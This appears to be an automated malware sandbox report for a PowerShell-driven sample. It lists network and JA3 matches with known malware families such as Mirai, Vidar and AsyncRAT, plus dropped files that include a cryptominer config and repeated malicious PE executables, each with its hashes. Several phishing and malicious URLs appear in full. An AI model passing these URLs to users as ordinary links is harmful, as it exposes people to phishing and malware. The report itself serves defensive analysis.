	https://pub-7b8cca81dcf84958b8a0d1546cd93eb2.r2.dev/index.html	Get hash	malicious	Unknown	Browse	185.199.110.153
ATGS-MMD-ASUS	unLc6VekkL.elf	Get hash	malicious	Mirai	Browse	48.152.61.115
	17nDkQW4tK.elf	Get hash	malicious	Mirai	Browse	32.231.203.40
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	57.224.245.58
	botx.mips.elf	Get hash	malicious	Mirai	Browse	57.49.219.81
	botx.x86.elf	Get hash	malicious	Mirai	Browse	50.15.245.80
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	48.92.6.162
	botx.arm.elf	Get hash	malicious	Mirai	Browse	51.212.97.68
	Hq2NRFbvRb.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.160.144.191
	https://ff-rewards-redeem-codes-org.github.io/Free-Fire-/	Get hash	malicious	HTMLPhisher	Browse	34.36.216.150
	http://mossandy0.wixsite.com/my-site	Get hash	malicious	Unknown	Browse	34.144.206.118
AMAZON-02US	unLc6VekkL.elf	Get hash	malicious	Mirai	Browse	35.160.185.9
	17nDkQW4tK.elf	Get hash	malicious	Mirai	Browse	54.183.174.200
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	13.236.43.129
	botx.mips.elf	Get hash	malicious	Mirai	Browse	50.18.22.244
	botx.x86.elf	Get hash	malicious	Mirai	Browse	13.238.60.26
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	65.3.56.35
	https://hamilton.cmail20.com/t/r-e-tdtrkhul-niyflludj-b/	Get hash	malicious	Unknown	Browse	13.52.20.127
	Happy Holidays.docx	Get hash	malicious	Unknown	Browse	34.242.14.188
	https://forms.office.com/Pages/ResponsePage.aspx?id=mZB7T0Dtr0mx-Js9AsqUvjkKVGExcKpLpLje28x2_kZUOVA4UU9WT0pSQUFPSTZPUlhWTElINUNETy4u	Get hash	malicious	HTMLPhisher	Browse	18.245.86.69
	Narud#U017ebenica 08BIH2024.exe	Get hash	malicious	FormBook	Browse	54.67.42.145
CLOUDFLARENETUS	unLc6VekkL.elf	Get hash	malicious	Mirai	Browse	162.159.108.170
	XpADYjOsY5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
	http://johnlevis.com	Get hash	malicious	Unknown	Browse	23.227.38.32
	sc7Qi5VdE1.exe	Get hash	malicious	Xmrig	Browse	162.159.128.233
	https://hamilton.cmail20.com/t/r-e-tdtrkhul-niyflludj-b/	Get hash	malicious	Unknown	Browse	104.21.62.23
	http://waitrosefurnituretsts.shop	Get hash	malicious	Unknown	Browse	172.67.137.109
	Factura 1-000087.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	http://waitrosefurnituretsts.shop	Get hash	malicious	Unknown	Browse	172.67.137.109
	receipt.ACH.No71124.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://forms.office.com/Pages/ResponsePage.aspx?id=mZB7T0Dtr0mx-Js9AsqUvjkKVGExcKpLpLje28x2_kZUOVA4UU9WT0pSQUFPSTZPUlhWTElINUNETy4u	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Viz_Setup.U3.11.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	INV_35689.vbe	Get hash	malicious	AveMaria, UACMe	Browse	185.199.110.133
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	185.199.110.133
	Updater.lnk	Get hash	malicious	Unknown	Browse	185.199.110.133
	WireGaurd.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	66af531b832ee_main.exe	Get hash	malicious	Vidar	Browse	185.199.110.133
	66af4e35e761b_doz.exe	Get hash	malicious	Vidar	Browse	185.199.110.133
	SecuriteInfo.com.Trojan.Crypt.28917.30010.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	vercath63.b-cdn.ps1	Get hash	malicious	LummaC, Go Injector	Browse	185.199.110.133
	lUITPOq6Et.exe	Get hash	malicious	Unknown	Browse	185.199.110.133

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3386
Entropy (8bit):	3.9792113994926126
Encrypted:	false
SSDEEP:	96:yj/QTtmhfRYNUjyISGvCX6suof1sohYHjQJwUETef6FLEUEeyEUEgOrMaq7gjN7Q:sEtmhpLjyISGvCX6suofhhYHjQJwUETM
MD5:	D1CEB3665CF8754AA9C6E254CBFC72F8
SHA1:	9EE386E54FF994AB602026E7437925017E21D3E0
SHA-256:	FF7215D41F8325EC79B252FEE2590E7BA2CBC79EA611527657CB396A148849AB
SHA-512:	12ADFD2F33A0FE6FFDE6C8991AC7BECA26DE135743154A167D76AE9196815DAA9FBDFFE992E7C82D2FC7DA31365F815E20B2B5E7312CE9426C14C75DB5374011
Malicious:	false
Preview:	{... "api": {... "id": null,... "worker-id": null... },... "http": {... "enabled": false,... "host": "127.0.0.1",... "port": 0,... "access-token": null,... "restricted": true... },... "autosave": true,... "background": false,... "colors": true,... "title": true,... "randomx": {... "init": -1,... "init-avx2": -1,... "mode": "auto",... "1gb-pages": false,... "rdmsr": true,... "wrmsr": true,... "cache_qos": false,... "numa": true,... "scratchpad_prefetch_mode": 1... },... "cpu": {... "enabled": true,... "huge-pages": true,... "huge-pages-jit": false,... "hw-aes": null,... "priority": null,... "memory-pool": false,... "yield": true,... "asm": true,... "argon2-impl": null,... "argon2": [0, 1, 2, 3],... "cn": [... [1, 0],... [1, 1],... [1, 2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\q64New[1].encode

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	16409600
Entropy (8bit):	7.661506602882853
Encrypted:	false
SSDEEP:	393216:Gy5c81JkE4LbgFX74aP6DOB/Q4xmxTgMF/Esg14MXCT1PePa9d0XWm:Gy5c81JL4L0FX7F6DOB/QimxTgMTM6vg
MD5:	813CCE901B6DD33BFD00141875655C6D
SHA1:	1BD7467D8551526BAC9D3871B9FF52D9DE43D46B
SHA-256:	F08557E5B7B274DCA35CB4E3B27FE7D268DE76C2708FCB330E99E29ABE5D9763
SHA-512:	425042E37DB91AAEFACB5B7F1EE7B4FD594F3EA1149EE8FA1EC1E195C95A3F28A69E0F62E4E9DF65379FCA86AE9643E87DA3B85DECB031C89BD3609BC5B1F24F
Malicious:	false
Preview:	...yb0V2eWw9..Ay.A==RGFy!0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==BFFyo/.<a.~.l.@5.`iU;4f.._1@.:WZ,./.:a_Xr53.AY8.%.$. .%.`L07vGFya0V2.C?>w.g-t4.ih2`-.=sgQ"Qm<gb,.4.i#Jd,QEpf["Qmv.g-?L.hk2`-[Eqf>"Qmq.b,U4.in.d,TEpf].Rlf.g-...hl2`-4.pgZ"Qm..e,u4.i..%.[EpfaWw9MjAyNA==RGFya0V2aWw9./Ay*.;=.8..a0V2aWw9.jcYEC3.R.Gya..2aWw9!(AyNQ==RGF.`0V2aGw9MhAyHA==RGFyg0V2aWw9M.yNE==RGFyc063aWg9MjAyNQ==RGFya0F2aWw9MzAyNA==RGFyq0V2..u9.jAy..?=zGFya0V2aWw9M..yBY==RGFya0V2a..91lAy~)?=NGFya0V2aWw9MjAyNA==RGFya0V2.1u9.kAyNA==RGFya.W2.Uw9MjAyNA==RGFya0V2aWw9MjAy`5XE&GFy..W2aGw9M.@yNE==RGFya0V2aWw9mjA.`3Y\&&FyS.V2a.v9M.AyN.<=RGFya0V2aWw9.jA9`%\I3GFy...2a.u9M.yN.?=RGFya0V2aWw9.jA.`1Y\&&Fym(V2a'.9MpAyN..=RGFya0V2aWw9.jA9..y\|..Fy.1V2a.9MhAyN..=RGFya0V2aWw9.jA9`3XQ=$Fy.6V2a..9MbAyN..=RGFya0V2aWw9.jA;NA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==RGFya0V2aWw9MjAyNA==

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0776520112277628
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryNak7YnqqRPN5Dlq5J:+RI+ycuZhN/akSRPNnqX
MD5:	79E64F4BEBD0922F76053E442F73BC79
SHA1:	E393AE56AB675746BE320211686AE90A02A04E5D
SHA-256:	CF49C1AAC70A6DCB928811BD35342AE0BEF3E67E56DF03181487BB2AFC80F859
SHA-512:	14DD9D6F49087C4BE4D1C3DED96CA1A6C86C828AE715DD20AE29EF064986213A3EEC9FAB619C550669CCF421194A0E0EA9719719FECBCF5BBB96E7683E52E8D7
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.e.i.z.m.r.e.n...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...w.e.i.z.m.r.e.n...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.09920626537444
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryQaak7Ynqq5rPN5Dlq5J:+RI+ycuZhN+aakS5rPNnqX
MD5:	378B1DE15C2F63C0DADE7502F68834EB
SHA1:	27BD5A9796162F9C2FCDA307B16F190B8FF4679B
SHA-256:	0466D177122C2564EE2A874F0F39926A19804C2041E9694508DB693CCD2E9446
SHA-512:	52327C34D74F67223CD7EFB057EA678F6B48A487FA6C20D917C80E787E4374C0F1870CF0A493ABD53104381668154F59B38F2131BD01F007E19D27CFBF1FBD02
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...z.m.h.m.a.g.h.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...z.m.h.m.a.g.h.u...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.085723591680791
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry/bak7YnqqkUPN5Dlq5J:+RI+ycuZhNFbakSkUPNnqX
MD5:	3073DB9FF5FED3F38852CE291F32927E
SHA1:	2CC40EC259960298E64787BD7B55E9C3C69755D3
SHA-256:	8B72508F2246DE78AA704591F558C03C25184F7F1430DF59483C4CE35B8C1BBA
SHA-512:	A20F658820CA8722F1938E31AC27AF36482214655F2AB98403794819FAFB7235E999CA6E8A55E9F8AD2594A37BDB09359606771703996621046A7223E3CE50F2
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.k.4.l.4.t.f.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.k.4.l.4.t.f.e...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0883423359100277
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry9ak7YnqqxPN5Dlq5J:+RI+ycuZhNfakSxPNnqX
MD5:	93CA84665D4F85974FB0D98F7AC859D5
SHA1:	F5D22B5DDC4741703BA1E47B399590A663126BAE
SHA-256:	B86B13B9061565FDB6EB87894B531F8565AB0B1F606501540E161F1FD2D26E05
SHA-512:	81A143DE0FF9E5728DC00EE0D298D0B59D8A69DD71851F6E844398B54C14436D3C44A87D3A49DADCB5CE3E665A299A21A08827E921F6B3E955E184DB815AE8FD
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.h.b.s.p.s.j.l...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...a.h.b.s.p.s.j.l...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0842681232177664
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grycak7YnqqyPN5Dlq5J:+RI+ycuZhNqakSyPNnqX
MD5:	2291C1DB9F2B98F1B5B031C5199A4256
SHA1:	9C1C037EE067CA5B3E800F2D838BCBD914C0E97C
SHA-256:	5719DEC4BD7EE83EEAB7216945310C2BA9214CFB5B1AD5777A1FDA1E052A5CD8
SHA-512:	031771187C0213D64A978F1AB3E5395759C6250190554D62958BB989C0B3B45DBA4A99C82DA7866BCAE8A32CAF6527F6056AE384E7BF493AD145C48A3710531F
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...e.e.3.y.y.y.a.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...e.e.3.y.y.y.a.u...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\DLL120A.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLL39F2.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLL46B0.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLL6063.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLL663C.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLL814C.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]d.Dc............(."A..>c..............@A...@...........................d......Pd...@... ...............................a../....a..............c..K....b...............................U.......................a..............................text....!A......"A.................`..`.data...\|....@A......&A.............@....rdata........A.......A.............@..@/4............V.......V.............@..@.bss....\|.....`..........................idata.../....a..0....`.............@....CRT....4.....a.......`.............@....tls..........a.......`.............@....rsrc.........a.......`.............@....reloc........b.......`.............@..B/14...........d......Bc.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLL82AA.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6542680
Entropy (8bit):	6.4433676229943115
Encrypted:	false
SSDEEP:	196608:QoH78eE6N7qWijOI8VpWx+IfUY8QroV+xLziR:P8UY8ei
MD5:	F2D3E44AFA5CBBBF41ECB3A87066CBF2
SHA1:	7BE54D798B696C1ECB0999C47FDB24FB2D2E9827
SHA-256:	7C722C4A25A26F7179027B1323ED8E291C48365C6F87345E61EE8D5EBD2E5BA0
SHA-512:	B6F661280DFDD1CEBF696D8CDB51763EAC79D073EB13B7EF5CDE76130CCC54B2E1705969FE15F11225233E747C8FFAE516A3B402410582186DAA838264C6B80C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
